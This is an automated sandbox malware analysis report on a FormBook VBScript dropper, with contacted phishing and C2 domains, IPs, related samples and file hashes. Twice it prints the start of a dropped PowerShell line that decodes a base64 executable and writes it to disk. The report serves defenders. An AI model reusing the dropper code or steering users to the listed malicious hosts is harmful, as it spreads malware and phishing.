http://www.celestial-guides.shop/r7y4/?Nl=207Em3qmMG8XxNg7uI/8NwU97sJhk8AXa3bUsu1wH/MvrPJS7Jm86DxfHb9ZfS6rlK5B1hkXbHKd9Om6mRyjFq1nAP9VumhzGY48sh2sbfWf2sV1JImTo5i0wRribzMt8Q==&mHttQ=0N2LBROh-F	0%	Avira URL Cloud	safe
http://www.chiro.live/9pz6/?Nl=/pTPnllmxsWX6ApJIzAt41xOg/EHi2fsk6Lw8HTy75EEuanVhpcSs4PFfxAF5z77wIbwFr1jAUPlW96P2OGsoydbwDVGvMCk0ij0X+dk82f+rMdhKgDDZyIkSmhVnOc5Gg==&mHttQ=0N2LBROh-F	0%	Avira URL Cloud	safe
https://www.atc-secure.com/	100%	Avira URL Cloud	phishing
http://www70.chiro.live/	0%	Avira URL Cloud	safe
http://www.dkeqqi.info/rks3/?Nl=N6M995Orsid3pB26180eAnpAEvm/2qnuV89lwLb32fuWKk7JFM+tdeUXnBmOTgnaI+4AwNPnaGa9vLA9D5aQErIYwmtvPb/aR2OT03nh5dNX3XD57UcHIUZW32w+LzNz7g==&mHttQ=0N2LBROh-F	0%	Avira URL Cloud	safe
http://www.chiro.live/9pz6/	0%	Avira URL Cloud	safe
http://www.serenepath.life/tubo/?mHttQ=0N2LBROh-F&Nl=OkSlmVrxLDfT2X9rx8wbiJMZQIMCMOfzpX9YxeBYK1jilmQpea6mLrJJ/QaGwJsgIsWiewlWl8P0IGD0SqVUzmUXc2swcSKcRN4L8tqq7Yl1qTVElrJvReIWTzpGYlz8og==	0%	Avira URL Cloud	safe
http://www.rtp189z.lat	0%	Avira URL Cloud	safe
https://www.atc-secure.com/SMG411m	100%	Avira URL Cloud	phishing
http://www.dkeqqi.info/rks3/	0%	Avira URL Cloud	safe
https://jackys.shop/5ann/?Nl=4PTBgoI4Nk	0%	Avira URL Cloud	safe
https://www.atc-secure.com/SMG411	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
atc-secure.com	92.205.22.61	true	true	unknown
rtp189z.lat	68.65.122.71	true	true	unknown
www.dkeqqi.info	47.83.1.90	true	false	high
www.serenepath.life	67.223.117.189	true	true	unknown
www.jackys.shop	217.160.0.207	true	false	high
www.chiro.live	72.14.185.43	true	true	unknown
www.celestial-guides.shop	38.180.49.167	true	true	unknown
www.rtp189z.lat	unknown	unknown	false	unknown
www.yacolca.digital	unknown	unknown	false	unknown
www.atc-secure.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.jackys.shop/5ann/?Nl=4PTBgoI4Nk+6taqoVFprwB5aZoYGl9E6V/JZkPplqb8lwhYldWpADaEwQ8nNR5l8WRgTp7EOccAoFUesNBdOz+lLVvdTdlsMG1W1gc4df7uivOnQOybridBNZQsYkHcP7w==&mHttQ=0N2LBROh-F	true	Avira URL Cloud: safe	unknown
http://www.celestial-guides.shop/r7y4/	true	Avira URL Cloud: safe	unknown
http://www.rtp189z.lat/i4k3/?Nl=fejTbKPHkJIn7H3yMBMCji2paJGOYSbu1m0yekiKpAorbUbP1Jrf/5ta8QXBvolt5DQGGZ5JloOyDdLUYPAJ4V7U0fIp6X3bX3sSTq0brbS65VllHYHSIyfbzIYnXK6qhg==&mHttQ=0N2LBROh-F	true	Avira URL Cloud: safe	unknown
http://www.chiro.live/9pz6/?Nl=/pTPnllmxsWX6ApJIzAt41xOg/EHi2fsk6Lw8HTy75EEuanVhpcSs4PFfxAF5z77wIbwFr1jAUPlW96P2OGsoydbwDVGvMCk0ij0X+dk82f+rMdhKgDDZyIkSmhVnOc5Gg==&mHttQ=0N2LBROh-F	true	Avira URL Cloud: safe	unknown
http://www.serenepath.life/tubo/	true	Avira URL Cloud: safe	unknown
http://www.rtp189z.lat/i4k3/	true	Avira URL Cloud: safe	unknown
http://www.celestial-guides.shop/r7y4/?Nl=207Em3qmMG8XxNg7uI/8NwU97sJhk8AXa3bUsu1wH/MvrPJS7Jm86DxfHb9ZfS6rlK5B1hkXbHKd9Om6mRyjFq1nAP9VumhzGY48sh2sbfWf2sV1JImTo5i0wRribzMt8Q==&mHttQ=0N2LBROh-F	true	Avira URL Cloud: safe	unknown
http://www.chiro.live/9pz6/	true	Avira URL Cloud: safe	unknown
https://www.atc-secure.com/SMG411	true	Avira URL Cloud: phishing	unknown
http://www.dkeqqi.info/rks3/?Nl=N6M995Orsid3pB26180eAnpAEvm/2qnuV89lwLb32fuWKk7JFM+tdeUXnBmOTgnaI+4AwNPnaGa9vLA9D5aQErIYwmtvPb/aR2OT03nh5dNX3XD57UcHIUZW32w+LzNz7g==&mHttQ=0N2LBROh-F	true	Avira URL Cloud: safe	unknown
http://www.serenepath.life/tubo/?mHttQ=0N2LBROh-F&Nl=OkSlmVrxLDfT2X9rx8wbiJMZQIMCMOfzpX9YxeBYK1jilmQpea6mLrJJ/QaGwJsgIsWiewlWl8P0IGD0SqVUzmUXc2swcSKcRN4L8tqq7Yl1qTVElrJvReIWTzpGYlz8og==	true	Avira URL Cloud: safe	unknown
http://www.dkeqqi.info/rks3/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.atc-secure.com//	wscript.exe, 00000001.00000003.1677228359.0000026A7E7D5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1680221874.0000026A7E7D5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1677751814.0000026A7E7D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/chrome_newtab	sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.1624571484.000001FB92234000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1584980234.000001FB81E73000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1584980234.000001FB83A71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000003.00000002.1584980234.000001FB83537000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000003.00000002.1584980234.000001FB839EB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000003.00000002.1584980234.000001FB839EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000003.00000002.1584980234.000001FB83A71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000003.00000002.1584980234.000001FB83A71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.chiro.live/9pz6?gp=1&js=1&uuid=1737474431.0096675034&other_args=eyJ1cmkiOiAiLzlwejYiLCAiY	sxstrace.exe, 00000009.00000002.2796725525.00000000071E0000.00000004.00000800.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000002.2795073064.000000000522A000.00000004.10000000.00040000.00000000.sdmp, XG4tzkOqVF.exe, 0000000C.00000002.2793198757.00000000035DA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000003.00000002.1584980234.000001FB839EB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.atc-secure.com/	wscript.exe, 00000001.00000003.1677228359.0000026A7E7D5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1680221874.0000026A7E7D5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1677751814.0000026A7E7D5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://ac.ecosia.org/autocomplete?q=	sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000003.00000002.1584980234.000001FB83A71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.1624571484.000001FB92234000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1584980234.000001FB81E73000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1584980234.000001FB83A71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.orgX	powershell.exe, 00000003.00000002.1584980234.000001FB83537000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www70.chiro.live/	XG4tzkOqVF.exe, 0000000C.00000002.2793198757.00000000035DA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.rtp189z.lat	XG4tzkOqVF.exe, 0000000C.00000002.2794868753.00000000051D6000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000003.00000002.1584980234.000001FB81411000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.1584980234.000001FB81411000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	sxstrace.exe, 00000009.00000003.2093396480.00000000074FE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://oneget.org	powershell.exe, 00000003.00000002.1584980234.000001FB83537000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.atc-secure.com/SMG411m	wscript.exe, 00000001.00000002.1679899842.0000026A7E726000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1677929523.0000026A7E725000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://jackys.shop/5ann/?Nl=4PTBgoI4Nk	sxstrace.exe, 00000009.00000002.2795073064.0000000004D74000.00000004.10000000.00040000.00000000.sdmp, XG4tzkOqVF.exe, 0000000C.00000002.2793198757.0000000003124000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.2198864528.00000000368B4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
67.223.117.189	www.serenepath.life	United States	15189	VIMRO-AS15189US	true
47.83.1.90	www.dkeqqi.info	United States	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
38.180.49.167	www.celestial-guides.shop	United States	174	COGENT-174US	true
217.160.0.207	www.jackys.shop	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
68.65.122.71	rtp189z.lat	United States	22612	NAMECHEAP-NETUS	true
92.205.22.61	atc-secure.com	Germany	8972	GD-EMEA-DC-SXB1DE	true
72.14.185.43	www.chiro.live	United States	63949	LINODE-APLinodeLLCUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1596084
Start date and time:	2025-01-21 16:44:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ADtours0121025.Vbs.vbs
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winVBS@12/8@8/7
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 98% Number of executed functions: 50 Number of non-executed functions: 294
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 20.109.210.53, 13.107.253.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 6812 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:45:31	API Interceptor	5x Sleep call for process: powershell.exe modified
10:46:40	API Interceptor	1690839x Sleep call for process: sxstrace.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
67.223.117.189	RFQ 969 MV WINDRAY REEFER-YSw6yAXc9RZAymA-PDF.exe	Get hash	malicious	FormBook	Browse	www.visionaryb.site/c9gw/
	doc00250120.Vbs.vbs	Get hash	malicious	FormBook	Browse	www.serenepath.life/tubo/
	165224.exe	Get hash	malicious	FormBook	Browse	www.infiniteg.xyz/owgd/
	PO -2025918.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.actionhub.live/gq43/
	PO 2025918 pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.actionhub.live/gq43/
	foljNJ4bug.exe	Get hash	malicious	FormBook	Browse	www.gutpox.life/bcpd/
	w64HYOhfv1.exe	Get hash	malicious	FormBook	Browse	www.uburn.xyz/iqqs/
	enkJ6J7dAn.exe	Get hash	malicious	FormBook	Browse	www.uburn.xyz/iqqs/
	PO-78140924.BAT.PDF.exe	Get hash	malicious	FormBook	Browse	www.heldhold.xyz/fava/
	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	www.heldhold.xyz/fava/
47.83.1.90	15300429772_20250121_09114163_HesapOzeti.exe	Get hash	malicious	FormBook	Browse	www.sbrqmu.info/94q5/
	CV-Elena-Alba-Garcia.exe	Get hash	malicious	FormBook	Browse	www.kpilal.info/nais/
	New Invoice.exe	Get hash	malicious	FormBook	Browse	www.gnlokn.info/ly55/
	PO#98540-00.exe	Get hash	malicious	FormBook	Browse	www.xrrkkv.info/2pbk/
	SPV0209200.exe	Get hash	malicious	FormBook	Browse	www.nqfkdu.info/vrgc/
	Payment Details rar.exe	Get hash	malicious	FormBook	Browse	www.dkeqqi.info/96fy/
	New order BPD-003777.exe	Get hash	malicious	FormBook	Browse	www.btbjpu.info/h6w2/
	doc00250120.Vbs.vbs	Get hash	malicious	FormBook	Browse	www.dkeqqi.info/rks3/
	RFQ862_791.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.cruycq.info/lf6y/
	AWB_5771388044 Documente de expediere.exe	Get hash	malicious	FormBook	Browse	www.givvjn.info/o4c9/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.dkeqqi.info	Payment Details rar.exe	Get hash	malicious	FormBook	Browse	47.83.1.90
	doc00250120.Vbs.vbs	Get hash	malicious	FormBook	Browse	47.83.1.90
	Payment Slip rar.exe	Get hash	malicious	FormBook	Browse	47.83.1.90
	k9OEsV37GE.exe	Get hash	malicious	FormBook	Browse	47.83.1.90
www.serenepath.life	doc00250120.Vbs.vbs	Get hash	malicious	FormBook	Browse	67.223.117.189
www.chiro.live	doc00250120.Vbs.vbs	Get hash	malicious	FormBook	Browse	72.14.178.174
	MACHINE SPECIFICATIONS.exe	Get hash	malicious	FormBook	Browse	45.56.79.23
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	45.33.2.79
	QUOTATION#070125-ELITE MARINE .exe	Get hash	malicious	FormBook	Browse	198.58.118.167
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	45.33.23.183
www.jackys.shop	doc00250120.Vbs.vbs	Get hash	malicious	FormBook	Browse	217.160.0.207
	New order BPD-003777.exe	Get hash	malicious	FormBook	Browse	217.160.0.207
	New order BPD-003777.exe	Get hash	malicious	FormBook	Browse	217.160.0.207
	New order BPD-003777.exe	Get hash	malicious	FormBook	Browse	217.160.0.207
	New order BPD-003777.exe	Get hash	malicious	FormBook	Browse	217.160.0.207

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COGENT-174US	https://sites.google.com/view/bnpparibas-4/home	Get hash	malicious	Unknown	Browse	143.244.197.139
	i686.elf	Get hash	malicious	Mirai	Browse	38.40.35.145
	New order BPD-003777.exe	Get hash	malicious	FormBook	Browse	149.104.35.123
	154.213.189.141-mips-2025-01-21T03_19_06.elf	Get hash	malicious	Mirai, Moobot	Browse	38.208.16.111
	http://memberreview.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	38.98.69.175
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	38.120.27.184
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	143.240.253.238
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	149.51.254.37
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	38.216.127.44
	890983726372673.exe	Get hash	malicious	FormBook	Browse	154.23.184.218
VODANETInternationalIP-BackboneofVodafoneDE	15300429772_20250121_09114163_HesapOzeti.exe	Get hash	malicious	FormBook	Browse	47.83.1.90
	CV-Elena-Alba-Garcia.exe	Get hash	malicious	FormBook	Browse	47.83.1.90
	New Invoice.exe	Get hash	malicious	FormBook	Browse	47.83.1.90
	PO#98540-00.exe	Get hash	malicious	FormBook	Browse	47.83.1.90
	SPV0209200.exe	Get hash	malicious	FormBook	Browse	47.83.1.90
	Payment Details rar.exe	Get hash	malicious	FormBook	Browse	47.83.1.90
	New order BPD-003777.exe	Get hash	malicious	FormBook	Browse	47.83.1.90
	154.213.189.141-arm-2025-01-21T03_19_06.elf	Get hash	malicious	Mirai, Moobot	Browse	188.101.106.79
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	94.218.106.80
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	146.62.212.62
VIMRO-AS15189US	RFQ 969 MV WINDRAY REEFER-YSw6yAXc9RZAymA-PDF.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	doc00250120.Vbs.vbs	Get hash	malicious	FormBook	Browse	67.223.117.189
	165224.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	FACTURA PROFORMA MATRICULACI#U00d3N.exe	Get hash	malicious	FormBook, GuLoader	Browse	67.223.117.189
	PO -2025918.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	67.223.117.189
	PO 2025918 pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	67.223.117.189
	Scanned-IMGS_from NomanGroup IDT.scr.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	ydJaT4b5N8.exe	Get hash	malicious	FormBook	Browse	67.223.118.94
	Nieuwebestellingen10122024.exe	Get hash	malicious	FormBook	Browse	67.223.117.169
	specification and drawing.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	67.223.117.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	11001_10032.jse	Get hash	malicious	FormBook	Browse	92.205.22.61
	jmkykhjksefkyt.exe	Get hash	malicious	Vidar	Browse	92.205.22.61
	Setup (1).exe	Get hash	malicious	Unknown	Browse	92.205.22.61
	https://github.com/Tarun999000/dfds/releases/download/fvxc/Order.receipt.845755-800.zip	Get hash	malicious	PureCrypter, AsyncRAT, Meduza Stealer	Browse	92.205.22.61
	lambo.dll	Get hash	malicious	Unknown	Browse	92.205.22.61
	lambo.dll	Get hash	malicious	Unknown	Browse	92.205.22.61
	mlqhQcgLKr.msi	Get hash	malicious	Unknown	Browse	92.205.22.61
	doc00250120.Vbs.vbs	Get hash	malicious	FormBook	Browse	92.205.22.61
	NEW ORDER HD_FORD_000003.js	Get hash	malicious	MassLogger RAT	Browse	92.205.22.61
	tKENar6l1f.exe	Get hash	malicious	LummaC Stealer	Browse	92.205.22.61

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines (65494), with CRLF line terminators
Category:	dropped
Size (bytes):	2119800
Entropy (8bit):	5.780193963247427
Encrypted:	false
SSDEEP:	24576:DaVFa3H5CC/a/sqC40mMEirEISpShzhjyGAtXbACAx0LysgMPIXtTCe12Qt6Hb95:e6H1B40V1Lhj2tXU34gMA9ooQ
MD5:	E1993DCC2E73F342429B30226F6A4ECB
SHA1:	8D4E95B2C0ABBCCC6B7D801AFEDB09BDF26468DB
SHA-256:	3DD772B22B90D5D8C9F9EAB4F62706AD4D841CEBA95394BAB54D183AD3F15259
SHA-512:	661055F8C97ED7FFEEF4B41DF10BCEB0A6CC6D32D210CF7F895057E814FA246ECA7E202EB2D6A83337B78BB163B5D5EC040672DE63650853870AF69689FEDD5C
Malicious:	true
Reputation:	low
Preview:	$p=[IO.Path]::Combine($env:TEMP,"x.exe")..[IO.File]::WriteAllBytes($p,[Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD9ZMieuQWmzbkFps25BabNJ6VhzbgFps1Iw2vNigWmzUjDaM0XBabNSMNpzYsFps2wfSXNsAWmzbB9Nc2cBabNuQWnza0Hps3f637N9AWmzd/ra827BabN3+tvzbgFps25BTHNuAWmzd/ras24BabNUmljaLkFps0AAAAAAAAAAAAAAAAAAAAAUEUAAEwBBQA1nI9nAAAAAAAAAADgACIBCwELAAC2CAAAiA8AAAAAAHRfAgAAEAAAANAIAAAAQAAAEAAAAAIAAAUAAQAAAAAABQABAAAAAAAAsBgAAAQAABmdGAACAECAAABAAAAQAAAAAEAAABAAAAAAAAAQAAAAAAAAAAAAAAAEcAsAfAEAAABADAAYsQsAAAAAAAAAAAAAAAAAAAAAAAAAGABMbAAA0NgIABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwJwsAQAAAAAAAAAAAAAAAANAIAGAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAE+1CAAAEAAAALYIAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAABCzAIAANAIAADOAgAAuggAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAVJ0AAACgCwAAYgAAAIgLAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABixCwAAQAwAALILAADqCwAAAAAAAAAAAAAAAABAAABALnJlb

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\SMG411[1]

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines (65494), with CRLF line terminators
Category:	dropped
Size (bytes):	2119800
Entropy (8bit):	5.780193963247427
Encrypted:	false
SSDEEP:	24576:DaVFa3H5CC/a/sqC40mMEirEISpShzhjyGAtXbACAx0LysgMPIXtTCe12Qt6Hb95:e6H1B40V1Lhj2tXU34gMA9ooQ
MD5:	E1993DCC2E73F342429B30226F6A4ECB
SHA1:	8D4E95B2C0ABBCCC6B7D801AFEDB09BDF26468DB
SHA-256:	3DD772B22B90D5D8C9F9EAB4F62706AD4D841CEBA95394BAB54D183AD3F15259
SHA-512:	661055F8C97ED7FFEEF4B41DF10BCEB0A6CC6D32D210CF7F895057E814FA246ECA7E202EB2D6A83337B78BB163B5D5EC040672DE63650853870AF69689FEDD5C
Malicious:	false
Reputation:	low
Preview:	$p=[IO.Path]::Combine($env:TEMP,"x.exe")..[IO.File]::WriteAllBytes($p,[Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD9ZMieuQWmzbkFps25BabNJ6VhzbgFps1Iw2vNigWmzUjDaM0XBabNSMNpzYsFps2wfSXNsAWmzbB9Nc2cBabNuQWnza0Hps3f637N9AWmzd/ra827BabN3+tvzbgFps25BTHNuAWmzd/ras24BabNUmljaLkFps0AAAAAAAAAAAAAAAAAAAAAUEUAAEwBBQA1nI9nAAAAAAAAAADgACIBCwELAAC2CAAAiA8AAAAAAHRfAgAAEAAAANAIAAAAQAAAEAAAAAIAAAUAAQAAAAAABQABAAAAAAAAsBgAAAQAABmdGAACAECAAABAAAAQAAAAAEAAABAAAAAAAAAQAAAAAAAAAAAAAAAEcAsAfAEAAABADAAYsQsAAAAAAAAAAAAAAAAAAAAAAAAAGABMbAAA0NgIABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwJwsAQAAAAAAAAAAAAAAAANAIAGAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAE+1CAAAEAAAALYIAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAABCzAIAANAIAADOAgAAuggAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAVJ0AAACgCwAAYgAAAIgLAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABixCwAAQAwAALILAADqCwAAAAAAAAAAAAAAAABAAABALnJlb

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nllluldhz/lL:NllU
MD5:	03744CE5681CB7F5E53A02F19FA22067
SHA1:	234FB09010F6714453C83795D8CF3250D871D4DF
SHA-256:	88348573B57BA21639837E3AF19A00B4D7889E2D8E90A923151AC022D2946E5D
SHA-512:	0C05D6047DBA2286F8F72EB69A69919DC5650F96E8EE759BA9B3FC10BE793F3A88408457E700936BCACA02816CE25DD53F48B962491E7F4F0A4A534D88A855E6
Malicious:	false
Preview:	@...e.................................L..............@..........

C:\Users\user\AppData\Local\Temp\G1Y9-55

Download File

Process:	C:\Windows\SysWOW64\sxstrace.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ADtours0121025.Vbs.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Temp\script.ps1

